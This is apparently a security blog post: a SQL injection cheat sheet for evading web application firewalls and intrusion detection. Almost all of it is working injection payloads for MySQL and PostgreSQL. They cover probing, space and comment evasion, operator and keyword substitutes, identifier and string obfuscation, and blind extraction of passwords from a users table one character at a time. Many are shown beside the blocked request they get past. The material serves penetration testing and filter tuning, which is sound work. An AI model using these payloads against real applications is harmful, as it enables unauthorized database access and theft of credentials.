SQL injection filter evasion cheat sheet
A guide for bypassing WAFs/IDS.
Index
- Probing for SQL injection
- Avoid spaces
- Bypass UNION
- Bypass logical operators
- Bypass comment
- Single-line comment bypass
- Comments between function names and parenthesis
- Conditional statements
- Character selection for blind injections
- Bypass = (Equal sign)
- Bypass WHERE
- Bypass LIMIT, WHERE, HAVING
- Bypass WHERE, CASE WHEN, IF, HAVING, =, RLIKE, LIKE, REGEXP
- Bypass SELECT and FROM
- Bypassing table/column/database identifiers
- Bypass quoted strings
Don't forget to URL encode symbols & # %
Probing for SQL injection
?sqli=1' and '1'='1
403 FORBIDDEN
Avoid comparisons
All DBMS
(These first 2 ones are very useful)
?sqli=1' and '1
?sqli=1' and '0
?sqli=1' and TRUE -- -
?sqli=1' and FALSE -- -
MySQL and SQLite
Strings are cast to FALSE
?sqli=1' and 'string FALSE
?sqli=1' and not 'string TRUE
MySQL and SQLite
Any string that starts with a number is cast to TRUE, except for 0.
?sqli=1' and '0string FALSE response
?sqli=1' and '1string TRUE response
?sqli=1' and '2string TRUE response
?sqli=1' and '3string TRUE response
?sqli=1' and '4string TRUE response
?sqli=1' and '5string TRUE response
?sqli=1' and '6string TRUE response
?sqli=1' and '7string TRUE response
?sqli=1' and '8string TRUE response
?sqli=1' and '9string TRUE response
MySQL and SQLite
A quote can be escaped by another quote
?sqli=1'' Normal response
?sqli=1''' Error response
Source: https://websec.ca/kb/sql_injection
MySQL
?sqli=1' and (values row(1))--
?sqli=1' and (values row(0))--
Specially useful for ModSecurity
MySQL
Avoid keywords:
AND
?sqli=1' %26%26 '0
?sqli=1' %26%26 '1
OR
?sqli=0' || '1
?sqli=0' || '0
?sqli=1' xor '0
?sqli=1' xor '1
Avoid common operators:
(< > <= >= = !=)
MySQL
?sqli=1' and '1' like '1
?sqli=1' and '1' rlike '1
?sqli=1' and '1' regexp '1
Avoid spaces:
?sqli=1'and'1'rlike'1
Only PostgreSQL
Avoid comparisons
?sqli=1' and 1::boolean -- -
?sqli=1' and 0::boolean -- -
?sqli=1' and (values(1))::boolean -- -
?sqli=1' and (values (0))::boolean -- -
?sqli=1' and boolean 't
?sqli=1' and boolean 'f
Only PostgreSQL
The following strings are cast to TRUE or FALSE
?sqli=1' and 'true
?sqli=1' and 'false
?sqli=1' and 't
?sqli=1' and 'tr
?sqli=1' and 'tru
?sqli=1' and 'f
?sqli=1' and 'fa
?sqli=1' and 'fal
?sqli=1' and 'fals
?sqli=1' and 'yes
?sqli=1' and 'no
?sqli=1' and 'n
?sqli=1' and 'y
?sqli=1' and 'ye
?sqli=1' and 'on
?sqli=1' and 'off
?sqli=1' and 'of
?sqli=1' and '1
?sqli=1' and '0
Only PostgreSQL
Leading and trailing spaces are ignored:
?sqli=1' and ' t
?sqli=1' and ' f
Only PostgreSQL
Avoid spaces:
?sqli=1'and't
?sqli=1'and'f
etc...
Only PostgreSQL
Avoid common operators
?sqli=1' and '1' like '1
?sqli=1' and '1' ilike '1
?sqli=1' and '1' ~~ '1
?sqli=1' and '1' !~~ '1
?sqli=1' and '1' ~~* '1
?sqli=1' and '1' !~~* '1
?sqli=1' and '1' ~ '1
?sqli=1' and '1' ~* '1
?sqli=1' similar to '1
( ~~ is equal to LIKE and ~~* is equal to ILIKE, ~ matches a regular expression and ~* is a case insensitive match)
?sqli=0' + (values (1)) -- - TRUE response
?sqli=0' + (values (0)) -- - FALSE response
All DBMS
Avoid common operators
?sqli=1' and '1' like '1
?sqli=1' and '1' between '0' and '2
?sqli=1' and 1 IS NOT NULL-- - FALSE response
?sqli=1' and null IS NOT NULL-- - TRUE response
?sqli=1' and 1 in (1) -- -
?sqli=1' and 0 is distinct from '1 Doesn't work in MySQL
?sqli=1' and '0' is not unknown -- -
Use arithmetic operations to avoid comparisons:
?sqli=1'-'0 TRUE
?sqli=1'-'1 FALSE
?sqli=0'+'1 TRUE
?sqli=0'-'0 FALSE
?sqli=1'*'1 TRUE
?sqli=1'*'0 FALSE
?sqli=1'/'1 TRUE
?sqli=1'/'0 FALSE
?sqli=10'%'3 TRUE
?sqli=1'%'1 FALSE
Use bitwise operators to avoid comparisons:
?sqli=1'&'1 TRUE response
?sqli=1'&'0 FALSE response
?sqli=0'|'0 FALSE response
?sqli=0'|'1 TRUE response
?sqli=1'^'0 TRUE response
?sqli=1'^'1 FALSE response
Avoid spaces
?sqli=1' and '0' union select username,password,email from users limit 1 -- -
403 FORBIDDEN
?sqli=1'and'0'union(select(username),password,(email)from`users`limit/**/1)--%07
200 OK
DBMS usually are very flexible and permissive when it comes to the use of parenthesis, quotes and comments. Accent graves can also be used for table names and other types of identifiers.
Other string separators:
%09 %0a %0c %0d %20
Bypass UNION
?sqli=1' and '0' UNION select password from users limit 1 -- -
403 FORBIDDEN
It is easy to avoid the use of UNION by doing a blind injection:
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
Bypass logical operators
MySQL
?sqli=1' and ( select substring(password, 1, 1) from users limit 1)='A
403 FORBIDDEN
?sqli=1' && ( select substring(password, 1, 1) from users limit 1)='A
200 OK
AND -> &&
OR -> ||
Use arithmetic operations:
?sqli=1' * ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
?sqli=1' / ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
Boolean TRUE is casted to 1 and FALSE to 0.
PostgreSQL
Types must be explicitly cast in PostgreSQL
?sqli=1' / ( (select substring(password, 1, 1) from users limit 1) = 'A')::int -- -
Bypass comment
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') -- -
403 FORBIDDEN
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') %00
200 OK
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') #
200 OK - Only MySQL
It is also possible to use control characters instead of spaces after a double-dash comment, this sometimes bypasses filters:
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') --%07
200 OK
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') or '0
200 OK
Arithmetic operations can be used instead to use the trailing quote
?sqli=0' and ((select substring(password, 1, 1) from users limit 1) = 'A') or 0 div '1
200 OK
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A') + '0
200 OK
In PostgreSQL casts have to be explicit.
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int %00
200 OK - PostgreSQL
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int + '0
200 OK - PostgreSQL
?sqli=0' + ( (select substring(password, 1, 1) from users limit 1) = 'A')::int or '1'='1
200 OK - PostgreSQL
Single-line comment bypass
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
403 FORBIDDEN
Many filters break when encountered with a single-line comment followed by a new line character ( %0a or %0d).
?sqli=1' and ( -- bla bla %0a select substring(password, 1,1) -- bla bla %0a from users limit 1) = 'A
200 OK
?sqli=1' and ( -- bla bla %0d select substring(password, 1,1) -- bla bla %0d from users limit 1) = 'A
200 OK - PostgreSQL and MSSQL
?sqli=1' and ( # bla bla %0a select substring(password, 1,1) # bla bla %0a from users limit 1) = 'A
200 OK - MySQL
Comments between function names and arguments
?sqli=1' and sleep -- bla bla %0a (10) or '0
200 OK
?sqli=1' and pg_sleep -- bla bla %0d (10) or '0
200 OK - PostgreSQL and MSSQL
Conditional statements (MySQL)
Conditional statements can be used to avoid the use of spaces and to avoid keyword detection by using a version number (00000). The version number can also be omitted.
?sqli=1'/*!00000and*/(/*!00000select*//*!00000substring(password,1,1)*//*!00000from*//*!00000users*//*!00000limit 1,1*/)='A
Character selection for blind injections
For blind injections, characters must be extracted one by one. This is why many WAFs flag functions that may be used for this purpose.
?sqli=1' and ( select substring(password, 1, 1) from users limit 1)='A
403 FORBIDDEN
Bypass substring
Use pattern matching
All DBMS
?sqli=1' and (select password from users limit 1) LIKE 'A%
MySQL
?sqli=1' and (select password from users limit 1) RLIKE '^A
?sqli=1' and (select password from users limit 1) REGEX '^A
PostgreSQL
?sqli=1' and (select password from users limit 1) ILIKE 'A%
?sqli=1' and (select password from users limit 1) ~ '^A
?sqli=1' and (select password from users limit 1) ~* '^A
?sqli=1' and (select password from users limit 1) !~ '^A
?sqli=1' and (select password from users limit 1) !~* '^A
?sqli=1' and (select password from users limit 1) ~~ 'A%
?sqli=1' and (select password from users limit 1) ~~* 'A%
?sqli=1' and (select password from users limit 1) !~~ 'A%
?sqli=1' and (select password from users limit 1) !~~* 'A%
Alternative functions
?sqli=1' and (select regexp_like(password, '^A') from users limit 1)
?sqli=1' and (select regexp_instr(password, 'A') from users limit 1)='1
?sqli=1' and (select regexp_replace(password, '^A', 'x')!=password from users limit 1)-- -
?sqli=1' and (select regexp_substr(password, '^A') is not NULL from users limit 1)-- -
?sqli=1' and (select position('A' in password) from users limit 1)='1
?sqli=1' and (select substr(password, 1, 1) from users limit 1)='A
?sqli=1' and (select mid(password, 1, 1) from users limit 1)='A
?sqli=1' and (select left(password, 1) from users limit 1)='A
?sqli=1' and (select right(password, 1) from users limit 1)='Z
?sqli=1' and (select locate('A', password) from users limit 1)='1
?sqli=1' and (select lpad(password, 1, '') from users limit 1)='A
?sqli=1' and (select rpad(password, 1, '') from users limit 1)='A
String functions reference in the manuals:
https://dev.mysql.com/doc/refman/8.4/en/string-functions.html
https://www.postgresql.org/docs/6.5/functions2221.htm
Bypass = (Equal sign)
?sqli=1' and (select substring(password, 1, 1) from users limit 1) = 'A
403 FORBIDDEN
?sqli=1' and CASE (select substring(password,1,1) from users limit 1) WHEN 'A' THEN true ELSE false END -- -
?sqli=1' and (select substring(password, 1, 1) from users limit 1) LIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) RLIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) ILIKE 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) REGEXP 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) IS NOT DISTINCT FROM 'A
?sqli=1' and (select substring(password, 1, 1) from users limit 1) BETWEEN '9' AND 'B
?sqli=1' and NULLIF((select substring(password, 1, 1) from users limit 1), 'A') is NULL -- -
?sqli=1' and not (select substring(password, 1, 1) from users limit 1) ^ 0b01000001 -- -
?sqli=1' and ((select substring(password, 1, 1) from users limit 1) & 0b01000001)::boolean is not null -- - PostgreSQL
?sqli=1' and (select substring(password, 1, 1) from users limit 1) & 0b01000001 -- -
200 OK
Bypass WHERE
?sqli=1' and (select substring(password, 1, 1) from users WHERE id='1') ='A
403 FORBIDDEN
?sqli=1' and (select substring(password, 1, 1) from users LIMIT 1) ='A
200 OK
HAVING can be used without GROUP BY but only in MySQL
?sqli=1' and (select substring(password, 1, 1) from users HAVING id='1') ='A
200 OK
Just add a GROUP BY clause to make it work in other DBMS
?sqli=1' and (select substring(password, 1, 1) from users GROUP BY id HAVING id='1')='A
200 OK
Bypass LIMIT, WHERE, HAVING
?sqli=1' and (select substring(GROUP_CONCAT(password), 1, 1) from users) ='A
200 OK
Bypass GROUP_CONCAT
?sqli=1' and (select substring(JSON_ARRAYAGG(password), 1, 1) from users) ='A
200 OK
?sqli=1' and (select substring(JSON_OBJECTAGG(user,password), 1, 1) from users) ='A
200 OK 1, 1) from users)='A
Bypass WHERE, CASE WHEN, IF, HAVING, =, RLIKE, LIKE, REGEXP
MySQL
?sqli=' and ((select substring(password, 1, 1) from users limit 1) EXCEPT values row('A')) -- -
PostgreSQL
?sqli=' and ( (select substring(password,1,1) from users limit 1) EXCEPT values('A'))::boolean is null -- -
Bypassing table/column/database identifiers
Bypass black listed column names:
Same bypass for SELECT FROM
MySQL
?sqli=1' and (VALUES row(-10, 310, 310, 310) UNION (TABLE users LIMIT 1,1) ORDER BY ( IF((column_2 REGEXP '^A'), NULL, column_0 )) LIMIT 1) != (-10, 310, 310, 310) -- -
PostgreSQL
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- -
Bypass other identifiers
PostgreSQL
In PostgreSQL, identifiers can be contained between double quotes:
?sqli=1' and (select TRUE from "users" where "login"='admin' and mid("password",1,1)='A')-- -
By adding the U& prefix, characters can be escaped via unicode (4 characters or 6 characters by adding a + sign between the escape character and the code point):
?sqli=1' and (select TRUE from U&"us\0065rs" where login='admin' and mid("p\+000061ssword", 1, 1)='A')-- -
https://www.postgresql.org/docs/16/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS
The escape character can be selected:
?sqli=1' and (select TRUE from U&"us!0065rs" UESCAPE '!' where login='admin' and mid("p!0061ssword" UESCAPE '!', 1, 1)='A')-- -
Bypass quoted strings
?sqli=1' and (select substring(password, 1, 1) from users where username='admin')='A' -- -
403 FORBIDDEN
?sqli=' and (select substring(password, 1, 1) from users where username=0x61646d696e)=0x41 -- - MySQL
?sqli=' and (select substring(password, 1, 1) from users where username=0b0110000101100100011011010110100101101110)=0b01000001 -- - MySQL
?sqli=1' and (select substring(password,1,1) from users where username=CHAR(97,100,109,105,110) ) = CHAR(65) -- -
In PostgreSQL, however, automatic casting doesn't happen. Luckily, double dollar signs can be used as string delimiters.
?sqli=' and (select substring(password, 1, 1) from users where username=$$admin$$)=$$A$$ -- -
?sqli=' and (select substring(password, 1, 1) from users where username=$bla$admin$bla$)=$bla$A$bla$ -- -
More resources:
Reiners blog:
https://websec.wordpress.com/category/sqli
Awesome WAF by Pinaki (0xInfection)
https://github.com/0xInfection/Awesome-WAF?tab=readme-ov-file
When WAFs go awry - MDSec
https://www.mdsec.co.uk/2024/10/when-wafs-go-awry-common-detection-evasion-techniques-for-web-application-firewalls/
The SQL injection knowledge base
https://websec.ca/kb/sql_injection
Web Application Obfuscation by Dr. Mario Heiderich, Gareth Heyes, David Lindsay and Eduardo Vela
https://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049
Happy hacking.
Microsoft SQL Server vectors are yet to be published.
Filed under: Hacking,SQL,Web Application Security - @ 2024-10-25 11:41
Tags: application, bypass, firewall, waf, web